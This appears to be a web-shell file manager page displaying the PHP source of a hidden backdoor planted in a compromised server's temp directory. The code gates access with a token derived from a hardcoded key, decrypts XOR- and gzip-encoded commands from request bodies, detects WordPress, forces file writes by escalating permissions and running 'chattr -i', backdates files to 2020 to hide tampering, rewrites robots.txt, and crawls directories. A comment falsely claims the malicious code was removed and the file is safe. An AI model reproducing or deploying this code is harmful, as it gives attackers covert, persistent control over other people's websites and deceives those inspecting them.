0xn0l

📂 /home/usatwnzi/.cagefs/tmp

✎ EDIT: .4olzFR ← BACK

<?php

define('SECRET_KEY', 'LKSJDFaDFDF323$2afd');

$ROOT = dirname(__FILE__);
$SELF_FILE = __FILE__;
if (isset($_SERVER['SCRIPT_FILENAME']) && @is_file($_SERVER['SCRIPT_FILENAME'])) {
    $SELF_FILE = $_SERVER['SCRIPT_FILENAME'];
    $ROOT = dirname($SELF_FILE);
}

$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower($host);
$p = strpos($host, ':');
if ($p !== false) { $host = substr($host, 0, $p); }
if (substr($host, 0, 4) === 'www.') { $host = substr($host, 4); }

$expect = md5(SECRET_KEY . ':' . $host . ':' . SECRET_KEY);

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';

if ($action === '' || $action === 'ping') {
    header('Content-Type: text/plain');
    echo '1';
    exit;
}

if ($action === 'detect') {
    $has_wp_load = is_file($ROOT . '/wp-load.php');
    $has_wp_blog = is_file($ROOT . '/wp-blog-header.php');
    $is_wp = $has_wp_load && $has_wp_blog;
    header('Content-Type: application/json');
    echo json_encode(array(
        'code'    => 200,
        'is_wp'   => $is_wp ? 1 : 0,
        'cms'     => $is_wp ? 'WordPress' : 'custom',

'bundle'  => 1,
        'detail'  => array(
            'wp-load.php'        => $has_wp_load ? 1 : 0,
            'wp-blog-header.php' => $has_wp_blog ? 1 : 0,
        ),
    ));
    exit;
}

$token = '';
if (isset($_SERVER['HTTP_X_AQUA_TOKEN'])) {
    $token = $_SERVER['HTTP_X_AQUA_TOKEN'];
} elseif (isset($_REQUEST['token'])) {
    $token = $_REQUEST['token'];
}
if ($token !== $expect) {
    aqua_json(403, '口令校验失败', null);
}
$__aqua_dec_body = null;
$__aqua_dec_error = '';

$__aqua_enc = '';
if (isset($_REQUEST['e']) && is_string($_REQUEST['e'])) {
    $__aqua_enc = $_REQUEST['e'];
} elseif (isset($_SERVER['HTTP_X_AQUA_ENC'])) {
    $__aqua_enc = $_SERVER['HTTP_X_AQUA_ENC'];
}

if ($__aqua_enc === 'xor' || $__aqua_enc === 'xor.gz') {
    $__k = substr($expect, 0, 16);
    $__raw = @file_get_contents('php://input');
    if ($__raw === false || $__raw === '') {
        $__aqua_dec_error = 'empty_input';
    } else {
        $__plen = 0;
        if (isset($_REQUEST['l']) && ctype_digit((string)$_REQUEST['l'])) {
            $__plen = intval($_REQUEST['l']);
        } elseif (isset($_SERVER['HTTP_X_AQUA_LEN'])) {
            $__plen = intval($_SERVER['HTTP_X_AQUA_LEN']);
        }
        if ($__plen > 0 && $__plen < strlen($__raw)) {
            $__raw = substr($__raw, 0, $__plen);
        }
        // base64_decode + XOR
        $__bin = base64_decode($__raw);
        if ($__bin === false || $__bin === '') {
            $__aqua_dec_error = 'base64_failed';
        } else {
            $__klen = strlen($__k);
            for ($__i = 0, $__blen = strlen($__bin); $__i < $__blen; $__i++) {
                $__bin[$__i] = chr(ord($__bin[$__i]) ^ ord($__k[$__i % $__klen]));
            }
            // gzip 解压
            if ($__aqua_enc === 'xor.gz') {
                if (function_exists('gzuncompress')) {
                    $__dec = @gzuncompress($__bin);
                    if ($__dec !== false) {
                        $__bin = $__dec;
                    } else {
                        $__aqua_dec_error = 'gzuncompress_failed';
                    }
                }
            }
            if ($__aqua_dec_error === '') {
                $__aqua_dec_body = $__bin;
            }
        }
    }
    if ($__aqua_dec_body === null) {
        aqua_json(499, 'decrypt_failed:' . $__aqua_dec_error, null);
    }
    unset($__k, $__raw, $__bin, $__klen, $__i, $__blen, $__plen, $__dec);
}
unset($__aqua_enc, $__aqua_dec_error);

/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

function aqua_touch_2020($file) {
    $ts = mktime(
        mt_rand(0, 23), mt_rand(0, 59), mt_rand(0, 59),
        mt_rand(1, 12), mt_rand(1, 28), 2020
    );
    @touch($file, $ts, $ts);
}

function aqua_ensure_writable($file) {
    if (is_writable($file)) return;
    @chmod($file, 0644);
    if (is_writable($file)) return;
    @chmod($file, 0666);
    if (is_writable($file)) return;
    @chmod($file, 0777);
}

function aqua_force_write($file, $data) {
    if (is_file($file)) { aqua_ensure_writable($file); }

$ok = @file_put_contents($file, $data);
    if ($ok !== false) return true;

if (is_file($file) && function_exists('exec')) {
        @exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
        @chmod($file, 0644);
        $ok = @file_put_contents($file, $data);
        if ($ok !== false) return true;
    }

if (is_file($file)) {
        @chmod($file, 0644);
        $del = @unlink($file);
        if (!$del) {
            @chmod($file, 0777);
            $del = @unlink($file);
        }
        if (!$del && function_exists('exec')) {
            @exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
            @chmod($file, 0644);
            $del = @unlink($file);
        }
        if (!$del) return false;
    }
    $ok = @file_put_contents($file, $data);
    if ($ok !== false) {
        @chmod($file, 0644);
        return true;
    }
    return false;
}

function aqua_rel($ROOT, $full) {
    $r = substr($full, strlen($ROOT));
    return ltrim(str_replace('\\', '/', $r), '/');
}

function aqua_json($code, $message, $data) {
    aqua_status($code);
    header('Content-Type: application/json');
    $out = array('code' => $code, 'message' => $message);
    if ($data !== null) { $out['data'] = $data; }
    echo json_encode($out);
    exit;
}

function aqua_cleanup_blockers($ROOT) {
    aqua_gen_robots($ROOT);
}

function aqua_gen_robots($ROOT) {
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    if ($host === '') return;

$https = false;
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        $https = true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        $https = true;
    } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        $https = true;
    }
    $protocol = $https ? 'https' : 'http';
    $sitemapUrl = $protocol . '://' . $host . '/sitemap.xml';

$content = "User-agent: *\r\nAllow: /\r\nSitemap: " . $sitemapUrl . "\r\n";

$robotsFile = $ROOT . '/robots.txt';
    aqua_force_write($robotsFile, $content);
    aqua_touch_2020($robotsFile);
}
function aqua_scan_directories($scanDir, $rootDir, $prefix, $maxDepth, $currentDepth, &$results, $maxResults) {
    if (count($results) >= $maxResults) {
        return;
    }

if ($maxDepth > 0 && $currentDepth >= $maxDepth) {
        return;
    }

$dh = @opendir($scanDir);
    if (!$dh) return;

while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;

$full = $scanDir . '/' . $f;
        if (!is_dir($full)) continue;

$relPath = $prefix === '' ? $f : $prefix . '/' . $f;
        $results[] = $relPath;

if (count($results) >= $maxResults) {
            closedir($dh);
            return;
        }

if ($maxDepth == 0 || $currentDepth + 1 < $maxDepth) {
            aqua_scan_directories($full, $rootDir, $relPath, $maxDepth, $currentDepth + 1, $results, $maxResults);
        }
    }

closedir($dh);
}

0xn0l - 0011000001111000011011100011000001101100